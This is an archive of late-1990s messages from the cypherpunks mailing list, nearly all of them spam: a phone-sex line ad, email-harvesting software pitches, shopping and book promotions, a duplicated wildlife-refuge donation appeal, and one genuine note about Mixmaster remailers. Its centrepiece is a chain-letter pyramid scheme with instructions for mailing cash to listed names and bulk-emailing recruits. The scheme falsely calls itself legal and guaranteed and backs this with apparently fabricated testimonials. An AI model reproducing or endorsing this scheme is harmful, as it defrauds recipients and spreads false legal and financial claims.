THE TOP POSITIONS WILL BE SET IN THE NEXT FEW DAYS
AS THERE ARE LESS THAN 100 PEOPLE IN THE PROGRAM NOW!
=================================================
We need people to call back the people who respond to this ad!
Call 1-800-304-5632 NOW for your free issue and business plan!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 1900@qui.com
Date: Thu, 30 Oct 1997 05:09:54 -0800 (PST)
To: 1900@qui.com
Subject: WOMEN!! LIVE AND WAITING!!
Message-ID: <199710301309.FAA07476@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




                       GUYS!  WE WANT TO HEAR FROM YOU!!!
                            WE'RE LIVE AND WAITING!!!
                                1-900-407-2273
                                Extension 4688
                                 24 hr hotline
                                    USA ONLY
       
                                  $3.99 per min
                                 Must be 18 yrs.
                                   Procall Co.
                                 (602)631-0615

 


To be removed from this mailing list, auto-reply with remove in the subject field





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: billy@bingo.edu
Date: Wed, 29 Oct 1997 21:57:47 -0800 (PST)
To: billy@bingo.edu
Subject: DON'T MAKE THE MISTAKE OF DELETING THIS MESSAGE! L@@k!!
Message-ID: <1997102928QAA55679@venus.t-1net.dk>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><FONT  COLOR="#000000" SIZE=3><I>
THIS MAY BE THE MOST IMPORTANT DECISION OF YOUR LIFE, BUT IT'S 
UP TO YOU...  I AM GIVING YOU THE OPPORTUNITY TO OPEN YOUR 
MIND, VISUALIZE YOUR GOALS AND YOUR DREAMS, AND TAKE THE 
FIRST STEP TOWARD THEM.  THE INFORMATION I HAVE PROVIDED 
HERE WILL ALLOW YOU TO ACHIEVE YOUR GOALS AND REALIZE 
YOUR DREAMS.  YOUR INCOME DOES NOT HAVE TO BE LIMITED TO 
AN HOURLY WAGE OR A SALARY.  TAKE THE INITIATIVE!  DO 
YOURSELF AND YOUR FAMILY THIS FAVOR AND READ THE 
ENCLOSED INFORMATION.  DON'T CLOSE THE DOOR IN THE FACE 
OF OPPORTUNITY...   </I>              

The main reason for this letter is to convince you that this system is
honest, lawful, extremely profitable, and is a way to get a large amount of
money in a short time.  I was approached several times before I checked
this out.  I joined just to see what one could expect in return for the minimal
effort and money required.  What I've found is a phenomenon that can only 
be described as unbelievable.  When you ask yourself who might possibly 
be interested in a program such as this, consider for a moment the fact that 
<FONT  COLOR="#000000" SIZE=3><I>you</I> are.  So many people are content to live their lives working so that other 
people profit.  It's difficult to believe that there is something better out there, 
but the most difficult step toward financial freedom is that first one.  Make 
the decision to achieve your financial freedom.  Let this program help you 
to realize your dreams as I am realizing mine. 
                              Sincerely yours, Brianna Stone

                   *** Please Print This Now For Future Reference ***

Dear friend,
	I would like to invite you personally to take a long and hard look
at the following income opportunity.  It can be started with a $20 investment
and the income return is tremendous!  Depending on your persistence, you
could gross over $250,000 THIS YEAR!  I want to share this dream of mine with
you. . . Together we can earn enough money to go fishing every Friday, send
the kids off to college, pay off the house & car loans, and even buy some
tickets to a major league ball game.  There will be no need to fuss about not
having enough money!  This plan is amazing and workable for anyone who
chooses to have a financial gold mine.  I would like to share this letter
with anyone who has a burning desire for life and loves people.  If you
do not fit into that description, please READ NO FURTHER. 

You are looking at the most profitable and unique program you may ever
see.  It has demonstrated and proven ability to generate large sums of money.
This program is showing fantastic appeal with a huge and ever growing
population which needs additional income. If you believe that some day you
will get that lucky break that you have been waiting for, THIS IS IT!
Simply follow the easy instructions, and your dream will come true!
This electronic multi-level marketing program works perfectly...100% EVERY TIME!

Thousands of people have used this program to raise capital to start their
own business, pay off debts, buy homes, cars, etc., even retire!

Opportunities DON'T GO AWAY, OTHERS TAKE ADVANTAGE OF THEM!

OVERVIEW OF THIS EXTRAORDINARY
ELECTRONIC MULTI-LEVEL PROGRAM
We sell thousands of people a product for $5.00 that teaches them to
reach financial independence.  As with all multi-level businesses, we build
our business by recruiting new partners and selling our products.
Every state in the U.S. allows you to recruit people in your new multi-level
business online.  The product in this program consists of a series of four
business and financial reports.  Recently updated for 1997, these excellent 
and comprehensive reports detail the do's and don't's of one of the most 
rapidly growing areas of the business world today:  THE INTERNET!  Each 
$5.00 order you receive to YOUR home will include the e-mail address of 
the sender.  To fill each order, you simply e-mail the product to the buyer.  
THAT'S IT!...$5.00 EARNED!  This is not only the EASIEST electronic 
Multi-Level Marketing business anywhere, but the EASIEST WORK you 
can find in the U.S.A..

FOLLOW THE INSTRUCTIONS EXACTLY!  That's what they're here for.
Let's face it, the profits are worth it!  Around $60,000 in 90 days. 
It's a possibility to earn $250,000 a year.  SO GO FOR IT!!!

                        ******* I  N  S  T  R  U  C  T  I  O  N  S *******

This is what you MUST do TODAY:
1.  Order all 4 reports listed and numbered from the list below. For each
     report send $5.00 CASH, YOUR E-MAIL ADDRESS and YOUR
     RETURN POSTAL ADDRESS (in case of a problem) to each person listed.
     When you order, make sure you request each SPECIFIC report.
     You'll need all four reports, because you will be distributing
     them via e-mail with your computer.
2.  IMPORTANT--DO NOT alter the names or sequence other than instructed
     in this program!  You will not profit the way you should.  Replace the name
     and address under REPORT #1 with yours, moving the one that was there
     down to REPORT #2.  Move the name and address under REPORT #2 to
     REPORT #3.  Move the name and address under REPORT #3 to
     REPORT #4.  The name and address that was under REPORT #4 is
     dropped off the list and is NO DOUBT on vacation. When doing this, please
     make certain you copy everyone's name and address ACCURATELY!!!
     Also, DO NOT move the Report/Product positions!
3.  Take this entire program text, including the corrected names list, and SAVE
     it as a TEXT (.txt) file on your computer.
4.  Now you're ready to start a massive advertising campaign on the
     WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
     but there are HUNDREDS of FREE places to advertise also.  I will provide
     directions to find low cost e-mail addresses in report #3 for you to send out.
     Plus I will explain how you can utilize sources like BULK E-mail.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

                              ----REQUIRED REPORTS----
<B>***Order each REPORT by NUMBER and NAME***</B>
ALWAYS SEND $5 CASH (concealed) FOR EACH ORDER REQUESTING
THE SPECIFIC REPORT BY NAME AND NUMBER.
ALWAYS SEND FIRST CLASS OR PRIORITY MAIL AND PROVIDE
YOUR E-MAIL ADDRESS FOR QUICK DELIVERY.
_____________________________________________________

Report #1
B. Abrahamson
P.O.  Box 1751
Maple Grove, MN 55311

Report #2
M. Gleeson
P.O. Box 31220
Chicago, IL 60631-0220

Report #3
A & J Enterprises
P.O. Box 16141
Sugar Land, Texas 77496-6141

Report #4
R. Davis
1423 Florida Avenue
St. Cloud, FL 34769
_____________________________________________________

HERE'S HOW THIS AMAZING PLAN WILL EARN YOU MONEY
Let's say you decide to start small just to see how it goes.
Assume your goal is to get only 10 people to participate on your first level.
(Placing FREE ads on the internet could get a better response.)

Also assume that everyone else in YOUR BUILDING ORGANIZATION
gets only 10 downline members.  Follow this example for the STAGGERING 
results below:

1st level -- your 10 members with $5  ($5 x 10)                     $50     (position 1)
2nd level --10 members from those 10 ($5 x 100)                  $500    (position 2)
3rd level -- 10 members from those 100 ($5 x 1,000)           $5,000   (position 3)
4th level -- 10 members from those 1,000 ($5 x 10,000)     <U>$50,000</U>   (position 4)
                                                THIS TOTALS----------->   $55,550

Remember friends, this is assuming that the people who participate only
recruit 10 people each.  Substitute 20 members for the original 10 and the total soars from $50,000 to over $800,000.  Dare to think for a moment what would happen
if everyone got 10 <I>more</I> people to participate!  Some people get 100's of recruits!  
STOP AND THINK ABOUT IT!

By the way, your cost to participate in this is practically nothing.
You obviously already have an internet connection and e-mail is FREE!!!
REPORT #3 will show you how to MASS MAIL for FREE.

</P><P ALIGN=CENTER><FONT  COLOR="#000000" SIZE=4>REMEMBER:  Approx.<I> <B>50,000</B></I> new people get online monthly!
ORDER YOUR REPORTS NOW!!!<FONT  COLOR="#000000" SIZE=3>
</P><P ALIGN=LEFT><FONT  COLOR="#000000" SIZE=3>
                                       *******TIPS FOR SUCCESS*******

TREAT THIS AS YOUR BUSINESS!
Send for the four reports IMMEDIATELY, so you will have them when the
orders start coming in because: When you receive a $5 order, you MUST
send out the requested product/report to comply with the
U.S. Postal & Lottery Laws, Title 18, Sections 1302 and 1341 or Title 18,
Section 3005 in the U.S. Code, also Code of Federal Regs. vol. 16,
Sections 255 and 436, which state that:
"a product or service must be exchanged for money received."

 *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE. *
Be patient and persistent with this program.  If you follow the instructions
EXACTLY the results WILL undoubtedly be SUCCESS!
 *  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!

                          *******YOUR SUCCESS GUIDELINE*******

The check point that guarantees your success is simply this:
You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!
If you don't within two weeks, advertise more and send out more programs 
until you do.  Then, a couple of weeks later you should receive at least 100
orders for REPORT #2.  If you don't, advertise more and send out more 
programs until you do.  Once you have received 100, or more orders for 
REPORT #2, YOU CAN RELAX, because you will be on your way to the 
BANK!  Or, you can DOUBLE your efforts!

REMEMBER:  Every time your name is moved down on the list you are in front
of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS by
what report people are ordering from you.
IT'S THAT EASY!!! 

                   ******* T  E  S  T  I  M  O  N  I  A  L  S *******

This program does work, but you must follow it EXACTLY! Especially the
rule of not trying to place your name in a different position, it won't work,
you'll lose a lot of money.  I'm living proof that it works.  It really is a great
opportunity to make relatively easy money, with little cost to you.  If you do
choose to participate, follow the program exactly, and you'll be on your way
to financial security.  If you are a fellow Christian and are in financial 
trouble like I was, consider this a sign.  I DID!
                         Good Luck & God Bless You,
	                 Sincerely, Chris Johnson

P.S.  Do you have any idea what 11,700 $5 bills ($58,500)
looks like piled up on the kitchen table?...IT'S AWESOME!

My name is Frank.  My wife Doris and I live in Bel-Air, MD. I am a cost
accountant with a major U.S. Corporation and I make pretty good money.
When I received the program I grumbled to Doris about receiving "junk mail"!
I made fun of the whole thing, spouting my knowledge of the population and
percentages involved.  I "knew" it wouldn't work.  Doris totally ignored my
supposed intelligence and jumped in with both feet.  I made merciless fun
of her, and was ready to lay the old "I told you so" on her when the thing
didn't work... well, the laugh was on me!  Within two weeks she had received
over 50 responses.  Within 45 days she had received over $147,200 in
$5 bills! I was stunned.  I was sure that I had it all figured and that
it wouldn't work...I AM a believer now. I have joined Doris in her "little" hobby.
I did have seven more years until retirement,  but I think of the "rat race"
and it's not for me...We owe it all to MLM.
                 Frank T., Bel-Air, MD

I just want to pass along my best wishes and encouragement to you.
Any doubts you have will vanish when your first orders come in.
I even checked with the U.S. Post Office to verify that the plan was legal.
It definitely is!  IT WORKS!!!
                      Paul Johnson, Raleigh, NC

This is the only realistic money-making offer I've ever received.
I participated because this plan truly makes sense. I was surprised when
the $5.00 bills started filling my mail box. By the time it tapered off I had received
over 8,000 orders with over $40,000 in cash.  Dozens of people have sent
warm personal notes too, sharing the news of their good fortunes!
It's been WONDERFUL.
                       Carl Winslow, Tulsa, OK

Not being the gambling type, it took me several weeks to make up my
mind to participate in this plan.  But, conservative that I am, I decided that
the initial investment was so little that there was just no way that I wouldn't
get enough orders to at least get my money back.  Boy, I was surprised
when I found my medium-size post office box crammed with orders!
After that it got so over-loaded that I had to start picking up my mail at
the window.  I'll make more money this year than any 10 years of my
life before.  The nice thing about this deal is that it doesn't matter where
in the U.S. the people live. There simply isn't a better investment with
a faster return.
                        Mary Rockland, Lansing, MI

I had received this program before.  I deleted it, but later I wondered if I
shouldn't have given it a try.  Of course, I had no idea who to contact to
get another copy, so I had to wait until I was e-mailed another program...
several months passed then it came...I didn't delete this one!...I made $41,000
on the first try!!
                  D. Wilburn, Muncie, IN

Typically when I look at a money-making deal I want to know if the
company is strong, will it be here when it's time for my big pay off.
In this crazy thing there is no company intervention for management to blow it.
Just people like me ordering directly from the source!
Interesting...I had a couple of projects I'd been trying to fund to no avail
so I thought; Why not give it a try?  Well 2 1/2 weeks later the orders
started coming in.  One project is funded and I'm sure the other will be soon!
                              Marilynn St. Claire, Logan, UT

</P><P ALIGN=CENTER>====================================================
ORDER TODAY AND GET STARTED ON THE PATH TO YOUR FINANCIAL FREEDOM!!!
</P><P ALIGN=LEFT>
A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
By the time you have read the enclosed information and looked over
the enclosed program and reports, you should have concluded
that such a program could not have been created by an amateur.
Allow me to tell you a little about myself.  I had a profitable business for ten
years.  Then in 1979 my business began falling off.  I was doing the same
things that were previously successful for me, but it wasn't working.
Finally, I figured it out.  It wasn't me, it was the economy.  Inflation and
recession had replaced the stable economy that had been with us since 1945.
I don't have to tell you what happened to the unemployment rate...
because many of you know from first hand experience.  There were more
failures and bankrupcies than ever before.   The middle class was vanishing.
Those who knew what they were doing invested wisely and moved up.
Those who did not, including those who never had anything to save or invest,
were moving down into the ranks of the poor.  As the saying goes,
"THE RICH GET RICHER AND THE POOR GET POORER." 
The traditional methods of making money will never allow you to "move up"
or "get rich", inflation will see to that.   You have just received information that
can give you financial freedom for the rest of your life, with "NO RISK" and
"JUST A LITTLE BIT OF EFFORT."  You can make more money in the next
few months than you have ever imagined.  E-mail is the sales tool of the future.
Take advantage of this non-commercialized method of advertising NOW!!
The longer you wait, the more people will be doing business using e-mail.
Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.
It is being taught in the Harvard Business School, and both Stanford Research
and The Wall Street Journal have stated between 50% and 65%
of all goods and services will be sold throughout Multi-Level Methods
by the mid-to-late 1990's.  This is a Multi-Billion Dollar industry and of the
500,000 millionaires in the US, 20% (100,000) made their fortune in the
last several years in MLM.  Moreover, statistics show 45 people become
millionaires everyday through Multi-Level Marketing.

CONCLUSION
Very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say
"NO" than "YES", and this is the question that you must answer.
Will YOU ignore this amazing opportunity or will you take advantage of it?
If you do nothing, you have indeed missed something and nothing will change.
Please re-read this material, this is a special opportunity.  My method is simple.
I sell thousands of people a product for $5 that costs me pennies to produce
and e-mail.  I should also point out this program is legal and everyone who
participates WILL make money.  This is not a chain letter or pyramid scam.
This is a business!  You are offering a legitimate product to your people.
After they purchase the product from you, they reproduce more and resell them.
As you learned from the enclosed material, the PRODUCT is a series
of four 4 FINANCIAL AND BUSINESS REPORTS.  The information contained
in these REPORTS IS VALUABLE!  They will not only help you in making your
participation in this program more rewarding, but will be useful in any other
business decisions you make in the future.  You are also buying the rights to
reprint all of the REPORTS, which will be ordered from you by those to whom
you mail this program.  The concise REPORTS you will be buying are easy to
duplicate for your entrepreneurial endeavor.

Thank you for your attention.  Now make the decision that's right for you.<FONT  COLOR="#000000" SIZE=3>
<FONT  COLOR="#000000" SIZE=3>
</PRE></HTML>
<




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: business@mail.t-1net.com
Date: Thu, 30 Oct 1997 08:36:24 -0800 (PST)
To: business@mail.t-1net.com
Subject: Get Paid To Advertise!
Message-ID: <199710301636.IAA08496@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


     Hello!

     If you would like to find out how you can get paid to advertise 
your own product, service or business on the Internet, please reply
to <megamoneymakers@mail.t-1net.com> and type 'info' in the
subject line.

     If this has been sent to you in error, please accept my apology
and reply to the forementioned address and type 'remove' in the 
subject line to be taken off my mailing list. 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Thu, 30 Oct 1997 05:26:06 -0800 (PST)
To: dave@bureau42.ml.org
Subject: Re: Is mixmaster dead?
In-Reply-To: <Pine.LNX.3.96.971030072414.7999D-100000@bureau42.ml.org>
Message-ID: <9710301325.AA72212@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


> > Lance hasn't updated his mixmaster page in over a year.  Is mixmaster
> > dead?
> 
> On the contrary. http://www.thur.de/ulf/mix has the latest Mixmaster stuff.

The thur.de web server is down until this week-end due to a hard disk failure.

Everyone interested in Mixmaster development is invited to subscribe to
the MIX-L mailing list at mix-l-request@jpunix.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DaveL@classifiedcentral.com (Dave Legassi)
Date: Thu, 30 Oct 1997 13:29:15 -0800 (PST)
To: dave@classifiedcentral.com
Subject: Just wanted to let you know
Message-ID: <19971030200630906.AAA434@classifiedcentral.com>
MIME-Version: 1.0
Content-Type: text/plain


Hey there,

For those of you that don't know, you can
find the Global Advertising Inter-Network at
http://www.gainads.com.

Their classified ads are accessible from over
475 different member sites around the world.

Check em out!

Dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: equit@hotmail.com
Date: Mon, 3 Nov 1997 04:56:42 -0800 (PST)
Subject: $600 Worth of FREE Software!
Message-ID: <199710311601.LAC19172@mail.nosuchplace.com>
MIME-Version: 1.0
Content-Type: text/plain


 Hello,
  
You don't want to trash this one! I "WILL" give you absolutely "Free" a
New Software called "Freedom", that sells for $400. I WILL NOT ASK FOR
ANY MONEY!
  
Freedom software allows you to extract email addresses from the internet,
classified ads, newsgroups, AOL subscribers, Etc.
  
Freedom has many features, including easy extractions of the addresses 
you need to flag for removal. You can extract a "batch" of a few
hundred, or a "catagory" of thousands at a time.
  
BONUS!! Now I also provide you with a free Check software,"Checker", a
$200.00 value that allows you to take checks by Fax, email, and phone!  "FREE"

Will your business "EXPLODE"?
  
You bet it will!               IT HAS TO !!!!
  
You will become a part of a  DOWNLINE THAT HAS THIS CAPABLITY!
  
Along with "Freedom" and "Checker", I provide you with a "GREAT", "FREE
BUSINESS", that you can promote on the internet and off. Additional BONUS - 
you will receive one of the cheapest long distance rates available today!!
  
For quick and  FREE  details, just send an email with FREEDOM in the subject 
line to:
 		 <mailto:cmillerton@hotmail.com>         

and you will receive information about this exciting opportunity right away!
  
I look forward to your response.  You may email me at:  

				cmillerton@hotmail.com 

for an immediate  response for more info.


Thanks,          





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freesft@usa.net
Date: Sat, 1 Nov 1997 00:40:53 -0800 (PST)
To: freesft@usa.net
Subject: Free Software!!
Message-ID: <9711010941.AA13078@noc.fh-aalen.de>
MIME-Version: 1.0
Content-Type: text/plain



Have you been looking for the best way to advertise your product, 
service, or web site on the Internet only to find that nothing seems to 
work?  At Selective Marketing we are giving away over $700.00 in free 
promotional software that will increase your business by at least 50% 
overnight. Come check it out at  <http://207.207.204.57>

Be sure to mention Rep # 6682 when calling...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel@savetrees.com
Date: Mon, 6 Oct 1997 15:42:59 -0700 (PDT)
To: joel@savetrees.com
Subject: Grand Opening. 30% Off!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Our research indicates that you may be interested in this information. 
If this assumption is incorrect, please reply with "REMOVE" in the subject line. 
You will get no further mailings from us. We apologize for inconveniencing you. 

****************************************************************************
     Announcing the Grand Opening of 

                  =========================
                   HighDesert General Merchandise
                  =========================

We are striving to make this a 1-stop source for gift giving.
You'll find gifts and collectibles for every member of the family.

Hand Spun Glass, Solid Brass, Jewelry, Wood Carvings, Crystal, Tools, Luggage 
Christmas collectibles, Doll House Miniatures, Toys and much more! 
We plan to add over 4000 items soon! 

All at unbelievable prices.

To celebrate our Grand Opening, we've marked down prices by 30% throughout the store!
Be sure to also check out our Grand Opening 50% Off Specials! 

 Perfect for Xmas gift giving.

Use our Secured Shopping Cart Server to make shopping a point & click breeze.

Major credit cards accepted, as well as money orders and checks.

Visit us at Weber's Mall:

      http://webersmall.com/desert.htm

We look forward to your visit.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PLEASE.READ.ME@aol.com
Date: Mon, 6 Oct 1997 23:47:34 -0700 (PDT)
To: FRIENDS@gandalf.newlink.net
Subject: LION, TIGERS, COUGARS
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


                                  Turpentine Creek Foundation, Inc.
                  Route 1 Box 209A, Eureka Springs, Arkansas 72632
                          Phone: (501) 253-5841 Fax: (501) 253-5059
                                       E-mail:tigers@ozarkweb.com
October, 1997

Dear Friend,

The reason I am writing this letter to ask for your help.  First,  I would like to
introduce myself and give you a brief history of Turpentine Creek Wildlife
Refuge, a non-profit organization.  I will try to briefly describe our accomp-
lishments and our mission for the future.

My name is Hilda Jackson.  I am the Secretary-Treasurer of Turpentine Creek 
Foundation.  By the way, when I say "WE",  I am speaking not only of myself, 
but for all the volunteer staff and our eight member board of directors.  Our 
Board consists of doctors, real estate people, a university professor, a CPA 
and a veterinarian, who have worked hard to accomplish our goals.  Our 
Chairman of the Board is Reverend John P. Minogue, C.M., who is also 
President of De Paul University of Chicago, Illinois.

The Turpentine Creek Foundation was started by me, my husband Don 
Jackson, and my daughter, Tanya Smith, in May of 1992.  Tanya is now  
President of the Foundation.  We purchased a 450-acre ranch in Eureka 
Springs,  Arkansas in the heart of the beautiful Ozark Mountains.  We brought
with us to the ranch two lions, one monkey, one white-tailed deer and one
racoon.  That was the beginning of Turpentine Creek Wildlife Refuge.  Our
goal and desires are to house all unwanted exotic big cats, such as lions,
tigers, and other exotic animals in a safe an happy environment.  To date, 
Turpentine Creek houses over 120 animals and birds.  Out of this 120 animals,
there are 90 + exotic big cats, such as lions. tiger, leopards and cougars.

We know from the experts' predictions that there are no more than 4,000 tigers
left in this world.  Without a shelter like Turpentine Creek, I am afraid that the 
beauty and the strengh of the tigers will not be a part of our children's or 
grandchildren's life except in picture books.  With everyone's help this will not 
happen.

We have continued to grow every year due to the birth of new cubs, and the 
acquisition of additional unwanted, abandoned, or abused exotic animals. We
desperately need to expand our compound, and finish the natural habitat, so the
big cats can live and roam as naturally as they would in the wild.

It takes approximately $1000 per day to house and care for the current number of
animals.  These funds are partly raised by our seasonal tourist revenue.

All construction is strictly funded by donations.  This is where we need
YOUR help.  If you can donate  $1, $5, $10, or whatever you feel in your heart you
can send, it wil be greatly appreciated.  All donations are tax deductible under 
IRS regulations section 501(c)(3).

We would like to thank you in advance for any consideration or help you
can give.  

Please come visit us and see the photo albums (especially the NEW 
ARRIVALS) at:    http://www.ozarkweb.com/tcreek/index.htm


My sincere thanks,

Hilda Jackson

Please send your kind donations to :     Turpentine Creek Wildlife Refuge
                                                             Route 1, Box 209-A
                                                             Eureka Springs, Arkansas  72632    

Credit Card Donations can be made by phone or fax (top of page) or complete
the following information and mail to the above address.

Card type:  ____ Visa  ____ MasterCard  ____ American Express  ____ Discover

Card Member's Name :_____________________________________________

Member's Address:     ______________________________________________

Card Number :            ______________________________________________

Expiration Date:          ______________________________________________

Amount of Contribution :  $ _____________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PLEASE.READ.ME@05795.com
Date: Tue, 7 Oct 1997 05:10:23 -0700 (PDT)
To: Friend@public.com
Subject: LIONS, TIGERS, & BEARS, OH MY!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


                                  Turpentine Creek Foundation, Inc.
                  Route 1 Box 209A, Eureka Springs, Arkansas 72632
                          Phone: (501) 253-5841 Fax: (501) 253-5059
                                       E-mail:tigers@ozarkweb.com
October, 1997

Dear Friend,

The reason I am writing this letter to ask for your help.  First,  I would like to
introduce myself and give you a brief history of Turpentine Creek Wildlife
Refuge, a non-profit organization.  I will try to briefly describe our accomp-
lishments and our mission for the future.

My name is Hilda Jackson.  I am the Secretary-Treasurer of Turpentine Creek 
Foundation.  By the way, when I say "WE",  I am speaking not only of myself, 
but for all the volunteer staff and our eight member board of directors.  Our 
Board consists of doctors, real estate people, a university professor, a CPA 
and a veterinarian, who have worked hard to accomplish our goals.  Our 
Chairman of the Board is Reverend John P. Minogue, C.M., who is also 
President of De Paul University of Chicago, Illinois.

The Turpentine Creek Foundation was started by me, my husband Don 
Jackson, and my daughter, Tanya Smith, in May of 1992.  Tanya is now  
President of the Foundation.  We purchased a 450-acre ranch in Eureka 
Springs,  Arkansas in the heart of the beautiful Ozark Mountains.  We brought
with us to the ranch two lions, one monkey, one white-tailed deer and one
racoon.  That was the beginning of Turpentine Creek Wildlife Refuge.  Our
goal and desires are to house all unwanted exotic big cats, such as lions,
tigers, and other exotic animals in a safe an happy environment.  To date, 
Turpentine Creek houses over 120 animals and birds.  Out of this 120 animals,
there are 90 + exotic big cats, such as lions. tiger, leopards and cougars.

We know from the experts' predictions that there are no more than 4,000 tigers
left in this world.  Without a shelter like Turpentine Creek, I am afraid that the 
beauty and the strengh of the tigers will not be a part of our children's or 
grandchildren's life except in picture books.  With everyone's help this will not 
happen.

We have continued to grow every year due to the birth of new cubs, and the 
acquisition of additional unwanted, abandoned, or abused exotic animals. We
desperately need to expand our compound, and finish the natural habitat, so the
big cats can live and roam as naturally as they would in the wild.

It takes approximately $1000 per day to house and care for the current number of
animals.  These funds are partly raised by our seasonal tourist revenue.

All construction is strictly funded by donations.  This is where we need
YOUR help.  If you can donate  $1, $5, $10, or whatever you feel in your heart you
can send, it wil be greatly appreciated.  All donations are tax deductible under 
IRS regulations section 501(c)(3).

We would like to thank you in advance for any consideration or help you
can give.  

Please come visit us and see the photo albums (especially the NEW 
ARRIVALS) at:    http://www.ozarkweb.com/tcreek/index.htm


My sincere thanks,

Hilda Jackson

Please send your kind donations to :     Turpentine Creek Wildlife Refuge
                                                             Route 1, Box 209-A
                                                             Eureka Springs, Arkansas  72632    

Credit Card Donations can be made by phone or fax (top of page) or complete
the following information and mail to the above address.

Card type:  ____ Visa  ____ MasterCard  ____ American Express  ____ Discover

Card Member's Name :_____________________________________________

Member's Address:     ______________________________________________

Card Number :            ______________________________________________

Expiration Date:          ______________________________________________

Amount of Contribution :  $ _____________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ALESSI10084@mgnet.com
Date: Wed, 8 Oct 1997 13:42:33 -0700 (PDT)
To: Friend@public.com
Subject: USERS RIPPED OFF BILLIONS
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


WARNING: Internet, Fax & Phone Users Ripped Off Billions!

1-888-248-6358

Shocking fee recorded message reveals wide-spread consumer 
rip-off's and a secret technique on saving and making a 
fortune in telecommunications.  

Call toll-free, anytime 24 hours a day 1-888-248-6358








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: xjlr56xcz@24540.com
Date: Thu, 9 Oct 1997 16:50:24 -0700 (PDT)
To: Friend@public.com
Subject: .
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Turn Your Ideas, Interests or Hobbies into a Lifetime Income, with...


******* THE KITCHEN TABLE MILLIONAIRE *******


Special LIMITED TIME OFFER Includes "PowerSecrets"... FREE!


_/_/_/ The Secret of Financial Freedom _/_/_/

Find something you love so much you'd do it for nothing, develop and market it, and the world will shower you with wealth! It starts with "The Four D's..." Dream, Discover, Develop, and Do it!" THE KITCHEN TABLE MILLIONAIRE provides all the tools you need!

Home-based business is a $380 billion industry. Ironically, the same technology responsible for massive layoffs and unemployment makes it possible for the average individual to run a prosperous home business out of a spare bedroom, the garage or even, yes, the kitchen table!

60,000 new home businesses are started across America every week. That's one every 11 seconds. Average income is $50,000--twice the national average employee salary. Success rates over a 3-year period are an astounding 85 percent, compared with just 20 percent in the traditional small business sector. An astonishing 90 percent of all home-based businesses succeed in the first year!

The key to success is not quick-buck schemes or wild goose chases. You need proven INFORMATION and RESOURCES.

The Kitchen Table Millionaire is a revolutionary new book that provides the explosive techniques necessary to develop any idea, then target the widest possible market, and effectively sell to that market. You can get started right away, in just a few hours a day, without interfering with your present job.

You don't have to be lucky, well-educated or come from a rich family in order to be successful. A recent survey of successful business owners showed that only 3 percent came from wealthy families. Nearly 50% came from the ranks of the poor or lower middle class. Only 29 percent finished college.

Thomas Carlyle said, "The true university of these days is a collection of books." The Kitchen Table Millionaire is the only book you need!


_/_/_/ What the Experts Say _/_/_/

"This extraordinary book could change your life! It will open your eyes to opportunities that you cannot now imagine. You should get it, read it, and apply it in your life. You will be astonished!"
- Brian Tracy, best-selling author of MAXIMUM ACHIEVEMENT and THE PSYCHOLOGY OF SUCCESS

"The Kitchen Table Millionaire provides the nuts, bolts and ideas to help you achieve your dreams of home business success."
- Carolyn Tice, Executive Editor, Home Business News; American Home Business Assoc.

"This easy to use book goes much deeper than its competition--full of innovative, step-by-step  advice about how to get your project off the ground."
- Opportunity Magazine

"Having spent most of my adult life self-employed, I've been approached with more money making opportunities than I could possibly imagine. Everyone wants to sell me "the book that can change my life forever." I've seen them all. And I've been distinctly unimpressed. But The Kitchen Table Millionaire caught my attention... and kept it. Cochrane's advice is
based on tried and true strategies, that, for the most part, the experts have kept secret."
- Author Anthony Trupiano, in THE BEST DEALS IN AMERICA TODAY


_/_/_/ What Readers Say _/_/_/

"The book is clear, concise, and most of all, it works! After applying the strategies, my consulting business grossed $6,000 in a single month, and continues to flourish, thanks to you!"
- F. J. Procopio, California

"I just finished your book and thoroughly enjoyed it as well as gained a lot of new ideas and knowledge from your expertise. I have to admit my favorite line in the book is on page 7, "Even if you win the rat race, you're still a rat."
- M.D. Foster

"I've been suckered by more than a few schemes in my search for reliable home business information. I bought courses by Brad Richdale and Carlton Sheets, and was very disappointed with the information I received. You really do walk the talk."
 - K.W., Alberta, Canada

"It's nice to know there is more out there than just get-rich-quick schemes and real estate hucksters. Thank you so much!"
- J. Rapp, California

"If you can't make money from reading this book, you can't make money."
- A. Jacobellis, Texas


_/_/_/ Extraordinary Success Stories of Ordinary People... Like You! _/_/_/

A San Jose, CA woman started a mobile paper shredding business off the back of a truck--and grossed $180,000 in her first year! Anthony Raissen launched BreathAsure on a single radio station--for free--and turned it into a multi-million dollar empire, virtually overnight!

